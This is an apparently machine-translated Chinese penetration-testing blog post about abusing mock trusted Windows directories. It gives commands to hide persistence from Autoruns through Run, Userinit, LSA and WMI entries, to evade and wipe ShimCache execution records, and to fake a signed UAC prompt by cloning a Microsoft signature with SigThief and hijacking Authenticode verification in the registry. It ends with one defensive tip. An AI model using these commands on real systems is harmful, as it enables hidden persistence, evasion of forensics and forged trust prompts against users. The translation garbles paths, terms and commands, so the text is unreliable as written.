发布于2022年11月8日3年前 0x00 前言 在上篇文章《通过模拟可信目录绕过UAC的利用分析》 对通过模拟可信目录绕过UAC的方法进行了分析,本文将结合自己的经验,继续介绍模拟可信目录的另外三种利用技巧,最后给出防御建议 0x01 简介 本文将要介绍以下内容: 利用模拟可信目录绕过自动运行 利用模拟可信目录欺骗希姆隐藏物 利用模拟可信目录伪造正常的UAC弹框 0x02 利用模拟可信目录绕过Autoruns 绕过原理: 自动运行默认不显示带有微软签名的文件,如果文件包含微软签名,默认不会显示在自动运行面板 在Windows操作系统操作系统系统的启动位置写入模拟可信目录下的文件,由于被识别为正常带有微软签名的文件,默认将不会显示在自动运行面板 经过测试,并不适用于所有的启动位置,具体测试如下: 创建模拟的可信目录,添加测试文件: md '\\?\c:\windows ' md '\\?\c:\windows \system32 ' 复制c:\test\putty.exe '\\?\ c:\ windows \ system32 \ notepad。' exe ' 复制c:\test\calc.dll '\\?\c:\windows \system32\atl.dll ' 1、注册启动项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 系统启动时启动文件c:\ Windows \ System32 \ notepad。' exe ',添加注册表的命令如下: REG add hklm \ SOFTWARE \ Microsoft \ Windows \当前版本\ Run/v RunTest/t REG _ SZ/d ' ' c:\ Windows \ system32 \ notepad。exe ' ' 注: '在煤矿管理局下转义后用'表示 自动运行检测注册表项,将其识别为notepad.exe,如下图 但在系统开机时启动的是正常notepad.exe,而不是putty.exe,失败 2、注册启动项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下的Userinit 查询原注册表项: reg query ' hklm \ SOFTWARE \ Microsoft \ Windows NT \ current version \ Winlogon '/v Userinit 默认键值内容为:C:\ Windows \ system32 \ userinit。exe, 系统启动时启动文件c:\ Windows \ System32 \ notepad。' exe ',添加注册表的命令如下: REG add ' hklm \ SOFTWARE \ Microsoft \ Windows NT \ current version \ Winlogon '/v Userinit/t REG _ SZ/d ' C:\ Windows \ system32 \ Userinit。' C:\ Windows \ system32 \ notepad。','/f 注: '在煤矿管理局下转义后用'表示 系统开机时启动putty.exe,自动运行检测注册表项,将其识别为notepad.exe,成功绕过 如下图 注: 自动运行默认不显示带有微软签名的文件,所以不会显示上图中的notepad.exe,上图为了演示专门设置为显示所有启动项 3、LSA Providers 注册启动项HKEY _ LOCAL _ MACHINE \ SYSTEM \ current Control set \ Control \ Lsa下的安全包 添加键值' c:\windows \system32\atl.dll ' 自动运行检测注册表项,将其识别为atl.dll,成功绕过 如下图 4、WMI 每隔60秒启动文件c:\ Windows \ System32 \ notepad。' exe ',添加wmi的命令如下: wmic/NAMESPACE:' \ \ root \ subscription ' PATH _ _ event filter CREATE Name=' bot filter 82 ',EventNameSpace='root\cimv2 ',QueryLanguage='WQL ',Query=' SELECT * FROM _ _ instance modification event WITHIN 60 WHERE target instance is ' Win32 _ PerfFormattedData _ PerfOS _ System ' ' wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer CREATE Name=' bot consumer 23 ',可执行路径=' C:\ Windows \ System32 \ notepad。' exe ',命令行模板=' C:\ Windows \ System32 \ notepad。' exe ' wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ FilterToConsumerBinding CREATE Filter=" _ _ event Filter " .Name='BotFilter82 ' ',Consumer=' CommandLineEventConsumer .Name='BotConsumer23 ' ' 执行后每隔一分钟启动putty.exe,自动运行检测注册表项,将其识别为notepad.exe,成功绕过 如下图 补充: 查看已注册wmi信息的命令如下: wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ event filter GET _ _ RELPATH/FORMAT:list wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer GET _ _ RELPATH/FORMAT:list wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ FilterToConsumerBinding GET _ _ RELPATH/FORMAT:list 删除已注册wmi的命令如下: wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ event filter WHERE Name=' bot filter 82 ' DELETE wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer WHERE Name=' bot consumer 23 ' DELETE wmic/NAMESPACE:“\ \ root \ subscription”PATH _ _ FilterToConsumerBinding其中Filter=“_ _ event Filter”。Name='BotFilter82 ' '删除 0x03 利用模拟可信目录欺骗ShimCache 如前一篇文章《渗透技巧——Windows系统文件执行记录的获取与清除》所述: ShimCache不仅记录exe文件的执行情况,还记录exe文件同一目录下的文件(如果文件没有执行,Executed的属性为no) ShimCache将仅在系统重新启动后更新(注销当前用户将不会更新) 也就是说,有两种方法可以清除该系统从启动到关机的ShimCache记录: (1)修改注册表 备份当前注册表: reg export ' HKLM \系统\当前控制集\控制\会话管理器\AppCompatCache' ShimCache.reg 系统重新启动后,恢复注册表: reg导入ShimCache.reg (2)非正常关机 跳过写入注册表的操作,无法记录这个系统从启动到关机的记录。 (3)修改内存 (理论上可行) 在这里,我试图通过模拟可信目录来欺骗ShimCache,这是非常混乱的。 该方法如下: 1. 创建可信目录"c:\windows \system32" md '\\?\c:\windows ' md '\\?\c:\windows \system32 ' 2. 释放文件"c:\windows \system32\calc.exe" 复制c:\test\putty.exe '\\?\ c:\ windows \ system32 \ notepad . exe ' 3. 执行 ' c:\ windows \ system32 \ notepad . exe ' 4. 重启后查看ShimCache 使用工具:https://github.com/mandiant/ShimCacheParser reg export ' HKLM \系统\当前控制集\控制\会话管理器\AppCompatCache' ShimCache.reg shimcacheparser . py-o out . CSV-r c:\ test \ shim cache . reg-t 结果很混乱,如下图所示。 0x04 利用模拟可信目录伪造正常的UAC弹框 1、编写需要管理员权限运行的程序 使用Visual Studio 工程设置位置与: Configure-linker-manifest文件,并选择以管理员权限运行。 还可以修改PE文件资源中的清单。 2、模拟可信目录,释放文件 复制c:\test\testuac.exe '\\?\ c:\ windows \ system32 \ diskpart . exe ' 执行:' c:\ windows \ system32 \ diskpart . exe ' 弹出UAC提示,显示该路径是正常的diskpart.exe,但是没有签名会提示异常,如下图所示。 注: 执行正常diskpart.exe时,UAC提示如下 要伪造真正的UAC提示符,可以使用PE文件的Authenticode签名来伪造。 参考号:《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》 3、签名伪造 在以下地址使用SigThief: https://github.com/secretsquirrel/SigThief 参数如下: SIG thief . py-I C:\ Windows \ System32 \ comment . exe-t C:\ test \ test UAC . exe-o C:\ test \ new . exe 复制c:\test\new.exe '\\?\ c:\ windows \ system32 \ diskpart . exe '/y 4、绕过证书验证 添加注册表的命令如下: REG ADD ' HKLM \软件\微软\密码术\ OID \ encoding type 0 \ cryptsipdlverifyindirectdata \ { C 689 aab 8-8e 78-11d 0-8c 47-00 C 04 fc 295 ee } '/v ' Dll '/t REG _ SZ/d ' C:\ Windows \ System32 \ ntdll . Dll '/f REG ADD ' HKLM \软件\微软\密码术\ OID \ encoding type 0 \ cryptsipdlverifyindirectdata \ { c 689 aab 8-8e 78-11d 0-8c 47-00 c 04 fc 295 ee } '/v ' FuncName '/t REG _ SZ/d ' DbgUiContinue '/f 5.最后试验 再次执行:' c:\ windows \ system32 \ diskpart . exe ',UAC提示符和真实的diskpart.exe一样,如下图所示。 0x05 防御建议 对于模拟可信目录的使用,前提是创建了一个假目录,可以选择监控文件夹的短文件名。 如果出现类似于系统目录的短文件名,您可以选择标记它。 查看短文件名的方法:dir /x 如下图 0x06 小结 本文介绍了另外三种模拟可信目录的技术,最后给出了一些防御建议。 留下回复
创建帐户或登录后发表意见